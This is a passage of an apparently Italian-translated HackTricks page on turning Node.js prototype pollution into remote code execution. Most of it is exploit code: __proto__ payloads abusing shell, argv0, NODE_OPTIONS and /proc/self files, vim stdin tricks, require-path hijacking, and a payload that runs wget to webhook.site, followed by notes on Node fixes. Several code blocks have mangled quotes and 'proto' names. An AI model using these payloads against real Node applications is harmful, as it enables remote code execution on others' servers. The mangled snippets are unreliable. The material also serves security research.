// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/exec-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = exec(“something”)

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = exec(“something”)

</details>

<details>

<summary><strong><code>execFile</code> sfruttamento</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Per execFile per funzionare DEVE eseguire node affinché le NODE_OPTIONS funzionino.
Se non sta eseguendo node, devi trovare come modificare l’esecuzione di ciò che sta eseguendo con variabili d’ambiente e impostarle.

Le altre tecniche funzionano senza questo requisito perché è possibile modificare ciò che viene eseguito tramite inquinamento del prototipo. (In questo caso, anche se puoi inquinare .shell, non inquinerai ciò che viene eseguito).

// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(“child_process”) p = {} p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/fork-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = fork(“something”)

// stdin trick - not working // Not using stdin

// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “/bin/sh” b.proto.argv0 = “/bin/sh” b.proto.execArgv = [“-c”, “touch /tmp/fork-execArgv”] var proc = fork(“./a_file.js”)

// Windows // Working after kEmptyObject (fix) const { fork } = require(“child_process”) b = {} b.proto.execPath = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = fork(“./a_file.js”)

</details>

<details>

<summary><strong><code>spawn</code> sfruttamento</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/execFileSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = execFileSync(“something”)

// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/execFileSync-stdin}\n” var proc = execFileSync(“something”)

// Windows // Working after kEmptyObject (fix) const { execSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” p.proto.argv0 = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = execSync(“something”)

</details>

<details>

<summary><strong><code>execSync</code> sfruttamento</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “/proc/self/exe” //You need to make sure the node executable is executed p.proto.argv0 = “console.log(require(‘child_process’).execSync(‘touch /tmp/spawnSync-cmdline’).toString())//” p.proto.NODE_OPTIONS = “–require /proc/self/cmdline” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)

// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.argv0 = “/usr/bin/vim” p.proto.shell = “/usr/bin/vim” p.proto.input = “:!{touch /tmp/spawnSync-stdin}\n” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“/tmp”}); //To work after kEmptyObject (fix)

// Windows // NOT working after require(fix) without options const { spawnSync } = require(“child_process”) p = {} p.proto.shell = “\\127.0.0.1\C$\Windows\System32\calc.exe” var proc = spawnSync(“something”) //var proc = spawnSync(‘something’,[],{“cwd”:“C:\”}); //To work after kEmptyObject (fix)

</details>

## Forzare Spawn

Negli esempi precedenti hai visto come attivare il gadget, una funzionalità che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama.

### Controllare un percorso di file require

In questo [**altro writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario l'attaccante deve solo **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono:

- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Trova **altri file qui sotto**

Il seguente semplice script cercherà **chiamate** da **child_process** **senza alcun padding** (per evitare di mostrare chiamate all'interno di funzioni):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Impostazione del percorso del file richiesto tramite inquinamento del prototipo

Warning

La tecnica precedente richiede che l’utente controlli il percorso del file che deve essere richiesto. Ma questo non è sempre vero.

Tuttavia, se il codice eseguirà un require dopo l’inquinamento del prototipo, anche se non controlli il percorso che deve essere richiesto, puoi forzare un percorso diverso abusando dell’inquinamento del prototipo. Quindi, anche se la riga di codice è come require("./a_file.js") o require("bytes"), richiamerà il pacchetto che hai inquinato.

Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non c’è una funzione di spawn, questo è l’attacco:

• Trova un file .js all’interno del sistema che quando richiesto eseguirà qualcosa usando child_process
• Se puoi caricare file sulla piattaforma che stai attaccando, potresti caricare un file del genere
• Inquina i percorsi per forzare il caricamento del require del file .js che eseguirà qualcosa con child_process
• Inquina l’environ/cmdline per eseguire codice arbitrario quando viene chiamata una funzione di esecuzione child_process (vedi le tecniche iniziali)

Require assoluto

Se il require eseguito è assoluto (require("bytes")) e il pacchetto non contiene main nel file package.json, puoi inquinare l’attributo main e far sì che il require esegua un file diverso.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("anything")

Require relativo - 1

Se viene caricata una percorso relativo invece di un percorso assoluto, puoi far sì che node carichi un percorso diverso:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")

Require relativo - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")

Require relativo - 3

Simile al precedente, questo è stato trovato in questo articolo.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

Nel documento https://arxiv.org/pdf/2207.11171.pdf è anche indicato che il controllo di contextExtensions da alcuni metodi della libreria vm potrebbe essere utilizzato come gadget.
Tuttavia, come i precedenti metodi di child_process, è stato risolto nelle ultime versioni.

Fixes & Unexpected protections

Si prega di notare che la contaminazione del prototipo funziona se l’attributo di un oggetto a cui si accede è undefined. Se nel codice quell’attributo è impostato a un valore, non sarai in grado di sovrascriverlo.

Nel giugno 2022 da questo commit la var options invece di un {} è un kEmptyObject. Questo previene una contaminazione del prototipo che influisce sugli attributi di options per ottenere RCE.
Almeno dalla v18.4.0 questa protezione è stata implementata, e quindi gli exploits di spawn e spawnSync che influenzano i metodi non funzionano più (se non vengono utilizzati options!).

In questo commit la contaminazione del prototipo di contextExtensions dalla libreria vm è stata anche in parte risolta impostando le opzioni a kEmptyObject invece di {}.

[!INFO] Node 20 (aprile 2023) & Node 22 (aprile 2025) hanno introdotto ulteriori indurimenti: diversi helper di child_process ora copiano le options fornite dall’utente con CopyOptions() invece di usarle per riferimento. Questo blocca la contaminazione di oggetti annidati come stdio, ma non protegge dai trucchi NODE_OPTIONS / --import descritti sopra – quelle flag sono ancora accettate tramite variabili d’ambiente. Una soluzione completa dovrebbe limitare quali flag CLI possono essere propagati dal processo padre, il che è in fase di monitoraggio nel Node Issue #50559.

Other Gadgets

• https://github.com/yuske/server-side-prototype-pollution
• https://github.com/KTH-LangSec/server-side-prototype-pollution

References

• https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
• https://blog.sonarsource.com/blitzjs-prototype-pollution/
• https://arxiv.org/pdf/2207.11171.pdf
• https://portswigger.net/research/prototype-pollution-node-no-filesystem
• https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
• https://portswigger.net/research/server-side-prototype-pollution

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.